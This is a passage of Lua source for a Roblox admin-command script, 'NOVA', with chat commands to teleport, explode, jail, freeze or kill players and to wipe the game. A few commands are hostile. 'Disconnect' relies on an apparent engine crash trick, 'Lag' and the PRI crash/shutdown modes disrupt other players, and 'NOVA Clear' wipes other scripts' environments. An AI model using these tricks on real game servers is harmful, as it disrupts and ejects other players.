2405
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2406
            end
2407
        )
2408
        for i=0,7 do
2409
2410
            Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
2411
                RemoveTablets(Speaker)
2412
                for _,v in pairs(NOVA.Commands) do 
2413
                    if v.Rank == i then
2414
                        Output(v.Name,Data.Color,Speaker,nil,function()
2415
                            RemoveTablets(Speaker)
2416
                            Output("Name : "..v.Name,Data.Color,Speaker)
2417
                            Output("Rank : "..v.Rank,Data.Color,Speaker)
2418
                            Output("Command : "..v.Command,Data.Color,Speaker)
2419
                            Output("Arguments : "..v.Args,Data.Color,Speaker)
2420
                            Output("Description : "..v.Description,Data.Color,Speaker)
2421
                            Output("Dismiss",NOVA.Colors.Red,Speaker)
2422
                        end)
2423
                    end
2424
                end    
2425
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2426
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2427
            end)
2428
        end
2429
        Output("ALL",Data.Color,Speaker,nil,function()
2430
            RemoveTablets(Speaker)
2431
            for _,v in pairs(NOVA.Commands) do
2432
                if GetRank(Speaker) >= v.Rank then
2433
                    Output(v.Name,Data.Color,Speaker,nil,function()
2434
                        RemoveTablets(Speaker)
2435
                        Output("Name : "..v.Name,Data.Color,Speaker)
2436
                        Output("Rank : "..v.Rank,Data.Color,Speaker)
2437
                        Output("Command : "..v.Command,Data.Color,Speaker)
2438
                        Output("Arguments : "..v.Args,Data.Color,Speaker)
2439
                        Output("Description : "..v.Description,Data.Color,Speaker)
2440
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
2441
                    end)
2442
                end
2443
            end
2444
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2445
            Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2446
        end)    
2447
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2448
    end
2449
)
2450
2451
AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
2452
    function(Msg,Speaker)
2453
        Instance.new("ManualSurfaceJointInstance",workspace)
2454
    end
2455
)
2456
2457
AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
2458
    function(Msg,Speaker)
2459
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2460
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2461
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2462
            else
2463
                pcall(function() 
2464
                    Lag(v)
2465
                end)
2466
            end
2467
        end
2468
    end
2469
)
2470
2471
2472
AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
2473
    function(Msg,Speaker)
2474
        RemoveTablets(Speaker)
2475
        Output("List","Random",Speaker,nil,
2476
            function()
2477
                RemoveTablets(Speaker)
2478
                for _,v in pairs(NOVA.Ranked) do
2479
                    if v.InPRI == true then
2480
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
2481
                            RemoveTablets(Speaker)
2482
                            OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2483
                        end)
2484
                    end
2485
                end
2486
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2487
            end
2488
        )
2489
        
2490
        Output("Type","Random",Speaker,nil,
2491
            function()
2492
                RemoveTablets(Speaker)
2493
                Output("Kick",NOVA.Colors.Orange,Speaker,nil,
2494
                    function()
2495
                        NOVA.PRIType = "Kick"
2496
                        RemoveTablets(Speaker)
2497
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2498
                    end
2499
                )
2500
                Output("Lag",NOVA.Colors.Red,Speaker,nil,
2501
                    function()
2502
                        NOVA.PRIType = "Lag"
2503
                        RemoveTablets(Speaker)
2504
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2505
                    end
2506
                )
2507
                Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
2508
                    function()
2509
                        NOVA.PRIType = "Shutdown"
2510
                        RemoveTablets(Speaker)
2511
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2512
                    end
2513
                )
2514
                Output("Crash",NOVA.Colors.Orange,Speaker,nil,
2515
                    function()
2516
                        NOVA.PRIType = "Crash"
2517
                        RemoveTablets(Speaker)
2518
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2519
                    end
2520
                )
2521
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2522
            end
2523
        )
2524
        Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
2525
            function()
2526
                NOVA.PRI = true
2527
                RemoveTablets(Speaker)
2528
                OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2529
            end
2530
        )
2531
        
2532
        Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
2533
            function()
2534
                NOVA.PRI = false
2535
                RemoveTablets(Speaker)
2536
                OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2537
            end
2538
        )
2539
        
2540
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2541
    end
2542
)
2543
2544
--[[ GET COMMANDS ]]--
2545
2546
AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
2547
    function(Msg,Speaker)
2548
        if #Msg == 0 or Msg == nil then
2549
            RemoveTablets(Speaker)
2550
            for _,v in pairs(NOVA.Ranks) do
2551
                local RankNumber = v[1]
2552
                local RankName = v[2]
2553
                Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
2554
                    function()
2555
                        RemoveTablets(Speaker)
2556
                        for _,v in pairs(GetPlayersRaw()) do
2557
                            if GetRank(v) == RankNumber then
2558
                                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
2559
                                    function()
2560
                                        PlayerInterface(v,Speaker)
2561
                                    end
2562
                                )
2563
                            end
2564
                        end
2565
                        Output("Done",NOVA.Colors.Blue,Speaker,nil,
2566
                            function()
2567
                                OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
2568
                            end
2569
                        )
2570
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
2571
                    end
2572
                )
2573
            end
2574
            Output("ALL",NOVA.Colors.Blue,Speaker,nil,
2575
                function()
2576
                    RemoveTablets(Speaker)
2577
                    
2578
                    for _,v in pairs(GetPlayersRaw()) do
2579
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
2580
                            function()
2581
                                PlayerInterface(v,Speaker)
2582
                            end
2583
                        )
2584
                    end
2585
2586
                    Output("Done",NOVA.Colors.Blue,Speaker,nil,
2587
                        function()
2588
                            OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
2589
                        end
2590
                    )
2591
                    Output("Dismiss",NOVA.Colors.Red,Speaker)
2592
                end
2593
            )    
2594
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2595
        else
2596
            PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
2597
        end
2598
    end
2599
)
2600
2601
AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
2602
    function(Msg,Speaker)
2603
        Split = GetSplit(Msg)
2604
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2605
            GetRankedTable(v).Desc = Msg:sub(Split+1)
2606
            SyncRankOutSingular(v)
2607
        end
2608
    end
2609
)
2610
2611
AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
2612
    function(Msg,Speaker)
2613
        if Msg == "true" then
2614
            GetRankedTable(Speaker).CMD = true
2615
        elseif Msg == "false" then
2616
            GetRankedTable(Speaker).CMD = false
2617
            pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
2618
        else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
2619
        end
2620
        SyncRankOutSingular(Speaker)
2621
    end
2622
)
2623
2624
AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
2625
    function(Msg,Speaker)
2626
        pcall(function()
2627
            for i=1,4 do
2628
                Instance.new("HopperBin",Speaker.Backpack).BinType = i
2629
            end
2630
        end)
2631
    end
2632
)
2633
2634
AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
2635
    function(Msg,Speaker)
2636
        pcall(function()
2637
            Speaker:LoadCharacter()
2638
        end)
2639
    end
2640
)
2641
2642
AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
2643
    function(Msg,Speaker)
2644
        Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
2645
    end
2646
)
2647
2648
AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
2649
    function(Msg,Speaker)
2650
        pcall(function()
2651
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
2652
                for i=1,4 do
2653
                    Instance.new("HopperBin",Speaker.Backpack).BinType = i
2654
                end
2655
            end
2656
        end)
2657
    end
2658
)
2659
2660
AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
2661
    function(Msg,Speaker)
2662
        local Split = GetSplit(Msg)
2663
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2664
            if GetRank(Speaker) > GetRank(v) then
2665
                if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
2666
                    Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
2667
                else
2668
                    GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
2669
                    SyncRankOutSingular(v)
2670
                end
2671
            end
2672
        end
2673
    end
2674
)
2675
2676
AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
2677
    function(Msg,Speaker)
2678
2679
        Split = GetSplit(Msg)              
2680
        send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
2681
        to = GetPlayers(string.sub(Msg,Split+1),Speaker)
2682
        for _,a in pairs(send) do
2683
            for _,b in pairs(to) do
2684
                pcall(function()
2685
                    a.Character.Torso.CFrame = b.Character.Torso.CFrame 
2686
                end)
2687
            end
2688
        end
2689
        
2690
    end
2691
)
2692
2693
AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
2694
    function(Msg,Speaker)
2695
2696
        Split = GetSplit(Msg)           
2697
        send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
2698
        to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
2699
        for i, player in pairs(send) do
2700
            pcall(function()
2701
                player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position) 
2702
                * CFrame.Angles(0, math.rad(i * 360 / #send), 0) 
2703
                * CFrame.new(0, 0, 3 + (#send*2) )
2704
            end)
2705
        end
2706
    end
2707
)
2708
2709
AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
2710
    function(Msg,Speaker)
2711
        Split = GetSplit(Msg)                
2712
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2713
            pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
2714
        end
2715
    end
2716
)
2717
2718
AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
2719
    function(Msg,Speaker)
2720
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2721
            pcall(function()
2722
                v.Character:BreakJoints()
2723
                E = Instance.new("Explosion",NOVA.Services.Workspace)
2724
                E.Position = v.Character.Torso.Position
2725
                E.BlastPressure = 124000
2726
            end)
2727
        end
2728
    end
2729
)
2730
2731
AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
2732
    function(Msg,Speaker)
2733
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2734
            pcall(function()
2735
                v.Character.Humanoid.MaxHealth = math.huge
2736
            end)
2737
        end
2738
    end
2739
)
2740
2741
AddCommand("God","god",2,"makes the selected player god.","<Player>",
2742
    function(Msg,Speaker)
2743
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2744
            pcall(function()
2745
                v.Character.Torso.Touched:connect(function(part)
2746
                    if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
2747
                        part.CanCollide = true
2748
                        part:BreakJoints()
2749
                        for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
2750
                    end
2751
                end)
2752
            end)
2753
        end
2754
    end
2755
)
2756
2757
AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
2758
    function(Msg,Speaker)
2759
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2760
            pcall(function()
2761
                v.Character.Parent = NOVA.Services.Lighting
2762
            end)
2763
        end
2764
    end
2765
)
2766
2767
AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
2768
    function(Msg,Speaker)
2769
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2770
            pcall(function()
2771
                v.Character.Parent = NOVA.Services.Workspace
2772
                v.Character:MakeJoints()
2773
                pcall(function() v.Character.Animate.Disabled = false end)
2774
            end)
2775
        end
2776
    end
2777
)
2778
2779
AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
2780
    function(Msg,Speaker)
2781
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2782
            pcall(function()
2783
                for _,part in pairs(v.Character:GetChildren()) do
2784
                    pcall(function() 
2785
                        part.Anchored = true
2786
                    end)
2787
                end
2788
            end)
2789
        end
2790
    end
2791
)
2792
2793
AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
2794
    function(Msg,Speaker)
2795
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2796
            pcall(function()
2797
                for _,part in pairs(v.Character:GetChildren()) do
2798
                    pcall(function() 
2799
                        part.Anchored = false
2800
                    end)
2801
                end
2802
            end)
2803
        end
2804
    end
2805
)
2806
2807
AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
2808
    function(Msg,Speaker)
2809
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2810
            pcall(function()
2811
                for _,part in pairs(v.Backpack:GetChildren()) do
2812
                    part:Destroy()
2813
                end
2814
            end)
2815
        end
2816
    end
2817
)
2818
2819
AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
2820
    function(Msg,Speaker)
2821
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2822
            pcall(function()
2823
                v.Backpack:Destroy()
2824
            end)
2825
        end
2826
    end
2827
)
2828
2829
AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
2830
    function(Msg,Speaker)
2831
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2832
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2833
            pcall(function() v.Character.Humanoid.Sit = true end)
2834
        end
2835
    end
2836
)
2837
2838
AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
2839
    function(Msg,Speaker)
2840
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2841
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2842
            pcall(function() v.Character.Humanoid.Sit = false end)
2843
        end
2844
    end
2845
)
2846
2847
AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
2848
    function(Msg,Speaker)
2849
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2850
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2851
            pcall(function() v.Character.Humanoid.Jump = true end)
2852
        end
2853
    end
2854
)
2855
2856
AddCommand("Control","control",2,"Controls the selected player","<Player>",
2857
    function(Msg,Speaker)
2858
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2859
            pcall(function()
2860
                Speaker.Character = v.Character
2861
            end)
2862
        end
2863
    end
2864
)
2865
2866
AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
2867
    function(Msg,Speaker)
2868
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2869
            pcall(function()
2870
                for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
2871
                    coroutine.resume(coroutine.create(function()
2872
                        for i=1,10  do
2873
                            wait()
2874
                            v.Transparency = v.Transparency + 0.1
2875
                        end
2876
                    end))
2877
                end
2878
            end)
2879
        end
2880
    end
2881
)
2882
2883
AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
2884
    function(Msg,Speaker)
2885
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2886
            pcall(function()
2887
                for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
2888
                    coroutine.resume(coroutine.create(function()
2889
                        for i=1,10  do
2890
                            wait()
2891
                            v.Transparency = v.Transparency - 0.1
2892
                        end
2893
                    end))
2894
                end
2895
            end)
2896
        end
2897
    end    
2898
)
2899
2900
AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
2901
    function(Msg,Speaker)
2902
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2903
            pcall(function()
2904
                for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
2905
            end)
2906
        end
2907
    end
2908
)
2909
2910
AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
2911
    function(Msg,Speaker)
2912
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2913
            pcall(function()
2914
                for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
2915
            end)
2916
        end
2917
    end
2918
)
2919
2920
AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
2921
    function(Msg,Speaker)
2922
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2923
            pcall(function()
2924
                coroutine.resume(coroutine.create(function()
2925
                    local MainCF = v.Character.Torso.CFrame
2926
                    local Main = Instance.new("Model",workspace)
2927
                    Main.Name = "Main"
2928
                    table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
2929
                    for Pitch = 1, 360, 360 do
2930
                        for Yaw = 1, 360, 360/13 do
2931
                            for Angle = 1,180, 8 do
2932
                                local Part = Instance.new("Part",Main)
2933
                                Part.Name = "Part"
2934
                                Part.FormFactor = "Custom"
2935
                                Part.TopSurface = "Smooth"
2936
                                Part.BottomSurface = "Smooth"
2937
                                Part.Reflectance = 0
2938
                                Part.Transparency = 0
2939
                                Part.Anchored = true
2940
                                Part.Locked = true
2941
                                Part.CanCollide = true
2942
                                Part.BrickColor = BrickColor.new("Navy blue")
2943
                                Part.Size = Vector3.new(2,1,4)
2944
                                Part.CFrame = MainCF
2945
                                    * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
2946
                                    * CFrame.new(0,5,0)
2947
                                local Mesh = Instance.new("BlockMesh",Part)
2948
                                Mesh.Scale = Vector3.new(1,1,0.1)
2949
                                if math.floor(Angle/5) == Angle/5 then
2950
                                    wait()
2951
                                end
2952
                            end
2953
                        end
2954
                    end
2955
                    
2956
                    v.Character.Torso.CFrame = MainCF
2957
                    
2958
                    while Main.Parent ~= nil do
2959
                        wait()
2960
                        pcall(function()
2961
                            if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
2962
                                v.Character.Torso.CFrame = MainCF
2963
                            end
2964
                        end)
2965
                    end
2966
                end))
2967
            end)
2968
        end
2969
    end
2970
)
2971
2972
AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
2973
    function(Msg,Speaker)
2974
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2975
            for Num,Jail in pairs(NOVA.Jails) do
2976
                if Jail.Player ~= nil and Jail.Player == v then
2977
                    pcall(function() Jail.Jail:Destroy() end)
2978
                    table.remove(NOVA.Jails,Num)
2979
                end
2980
            end
2981
        end
2982
    end
2983
)
2984
2985
AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
2986
    function(Msg,Speaker)
2987
        for i,v in pairs(_G) do
2988
            if type(v) == "function" and getfenv(v).NOVA == nil then
2989
                for var,val in pairs(getfenv(v)) do
2990
                    pcall(function() getfenv(v)[var] = nil end)
2991
                end
2992
            end
2993
        end
2994
        for i,v in pairs(_G) do
2995
            _G[i] = nil
2996
        end
2997
        SetGlobals()
2998
        for _,v in pairs(NOVA.Services) do 
2999
            v.Name = "Unknown Exception"
3000
        end    
3001
        for i,v in pairs(GetRecursiveChildren()) do
3002
            pcall(function()
3003
                if not v:IsA("Player") then
3004
                    pcall(function()
3005
                        if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
3006
                        else
3007
                            pcall(function()
3008
                                v.Disabled = true
3009
                            end)
3010
                            pcall(function()
3011
                                NOVA.Services.Debris:AddItem(v,0)
3012
                            end)
3013
                        end
3014
                    end)
3015
                end
3016
            end)
3017
        end
3018
        for _,v in pairs(NOVA.Services) do    
3019
            v.Name = v.className
3020
        end
3021
        local Base=Instance.new("Part",NOVA.Services.Workspace)
3022
        Base.Name="Base"
3023
        Base.Size=Vector3.new(2048,1,2048)
3024
        Base.BrickColor=BrickColor.new("Bright green")
3025
        Base.Anchored=true
3026
        Base.Locked=true
3027
        Base.TopSurface="Smooth"
3028
        Base.Transparency = 1
3029
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
3030
        local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
3031
        Spawn.Size=Vector3.new(6,1,6)
3032
        Spawn.Transparency=1
3033
        Spawn.CanCollide=false
3034
        Spawn.Anchored=true
3035
        Spawn.Locked=true
3036
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
3037
        for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
3038
    end
3039
)
3040
3041
AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
3042
    function (Msg,Speaker)
3043
        Split = GetSplit(Msg)
3044
        for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
3045
            pcall(function()
3046
                Team = nil
3047
                for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
3048
                    if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
3049
                        Team = find
3050
                    end
3051
                end
3052
                v.TeamColor = Team.TeamColor
3053
            end)
3054
        end
3055
    end
3056
)
3057
3058
AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
3059
    function(Msg,Speaker)
3060
        RemoveTablets(Speaker)
3061
        for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
3062
            if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
3063
                v:Remove()
3064
            end
3065
        end
3066
    end
3067
)
3068
3069
AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
3070
    function(Msg,Speaker)
3071
        Split = GetSplit(Msg)
3072
        Team = Instance.new("Team",NOVA.Services.Teams)
3073
        Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
3074
        Team.Name = Msg:sub(1,Split-1)
3075
        Team.AutoAssignable = false
3076
        Team.Neutral = false
3077
    end
3078
)
3079
3080
AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
3081
    function(Msg,Speaker)
3082
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3083
            v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
3084
        end
3085
    end
3086
)
3087
3088
AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
3089
    function(Msg,Speaker)
3090
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3091
        
3092
                        local ride = Instance.new("VehicleSeat", Workspace)
3093
                        ride.Position = v.Character.Torso.Position
3094
                        ride.HeadsUpDisplay = false
3095
			ride.Size = Vector3.new(3,3,3)
3096
                        local bg = Instance.new("BodyGyro", ride)
3097
                        bg.maxTorque = Vector3.new(1e10,1e10,1e10)
3098
                        local bp = Instance.new("BodyPosition", ride)
3099
                        bp.position = v.Character.Torso.Position
3100
                        bp.maxForce = Vector3.new(1e10,1e10,1e10)
3101
			Mesh = Instance.new("SpecialMesh")
3102
			Mesh.Parent = ride
3103
			Mesh.MeshType = Enum.MeshType.Sphere
3104
			ride.Transparency = 0.40000000596046
3105
3106
                        while wait() do
3107
                            bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
3108
                            bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
3109
                    	end
3110
                       
3111
        end
3112
    end
3113
)
3114
3115
3116
3117
AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
3118
    function(Msg,Speaker)
3119
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3120
            v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
3121
        end
3122
    end
3123
)
3124
3125
AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
3126
    function(Msg,Speaker)
3127
        for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
3128
            if Prometheus ~= nil then
3129
                if v ~= Prometheus.script("lushmylife") then
3130
                    pcall(function()
3131
                        v:Destroy()
3132
                    end)
3133
                end
3134
            else
3135
                pcall(function()
3136
                    v:Destroy()
3137
                end)
3138
            end
3139
        end    
3140
        
3141
        local Base=Instance.new("Part",NOVA.Services.Workspace)
3142
        Base.Name="Base"
3143
        Base.Size=Vector3.new(2048,1,2048)
3144
        Base.BrickColor=BrickColor.new("Dark green")
3145
        Base.Anchored=true
3146
        Base.Locked=true
3147
        Base.TopSurface="Studs"
3148
        Base.Transparency = 0
3149
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
3150
        local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
3151
        Spawn.Size=Vector3.new(6,1,6)
3152
        Spawn.Transparency=1
3153
        Spawn.CanCollide=false
3154
        Spawn.Anchored=true
3155
        Spawn.Locked=true
3156
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))        
3157
        for _,v in pairs(GetPlayersRaw()) do
3158
            v:LoadCharacter()
3159
        end
3160
    
3161
    end
3162
)
3163
3164
AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
3165
    function(Msg,Speaker)
3166
        RemoveTablets(Speaker)
3167
        Explore(game,Speaker)
3168
    end
3169
)
3170
3171
AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
3172
    function(Msg,Speaker)
3173
        if NOVA.LockedScripts == true then 
3174
            NOVA.LockedScripts = false
3175
        elseif NOVA.LockedScripts == false then
3176
            NOVA.LockedScripts = true
3177
        end
3178
        
3179
    end
3180
)
3181
3182
AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
3183
    function(Msg,Speaker)
3184
        for _,v in pairs(GetPlayers(Msg,Speaker)) do    
3185
            for i=1,25 do
3186
                coroutine.resume(coroutine.create(function()
3187
                    wait()
3188
                    local Part = Instance.new("Part",NOVA.Services.Workspace)
3189
                    Part.FormFactor = "Custom"
3190
                    Part.Transparency = 1
3191
                    Part.CanCollide = false
3192
                    Part.Anchored = false
3193
                    Part.Locked = true
3194
                    Part.Size = Vector3.new(1,1,1)
3195
                    Part.CFrame = v.Character.Head.CFrame
3196
                    Part:BreakJoints()
3197
                    
3198
                    local BBG = Instance.new("BillboardGui",Part)
3199
                    BBG.Adornee = Part
3200
                    BBG.Size = UDim2.new(3,0,1,0)
3201
                    --BBG.StudsOffset = Vector3.new(0, 0, 1)
3202
3203
                    local Img = Instance.new("ImageLabel",BBG)
3204
                    Img.Size = UDim2.new(1,0,1,0)
3205
                    Img.BackgroundTransparency = 1
3206
                    Img.Image = "http://www.roblox.com/asset/?id=45120559"
3207
                    
3208
                    local BP = Instance.new("BodyPosition",Part)
3209
                    BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
3210
                    --BP.D = 2000
3211
                    BP.P = 1000
3212
                    BP.position = Part.Position + Vector3.new(
3213
                        math.random(-7,7),
3214
                        math.random(-7,7),
3215
                        math.random(-7,7))
3216
                        
3217
                    for v = 3,0,-0.1 do
3218
                        wait(0.1)
3219
                        BBG.Size = UDim2.new(v,0,v,0)
3220
                    end
3221
                    Part:Remove()
3222
                end))
3223
            end
3224
        end
3225
    end
3226
)
3227
3228
AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
3229
    function(Msg,Speaker)
3230
        NOVA.Canceled = true
3231
    end
3232
)
3233
3234
AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
3235
    function(Msg,Speaker)
3236
        Split = GetSplit(Msg)
3237
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3238
            pcall(function()
3239
                local OldHead = v.Character.Head
3240
                local Model = Instance.new("Model",v.Character.Head)
3241
                Model.Name = Msg:sub(Split+1)
3242
                local Head = OldHead:Clone()
3243
                Head.Parent = Model
3244
                Head.Transparency = 0
3245
                Head.Name = "Head"
3246
                Head.CanCollide = false
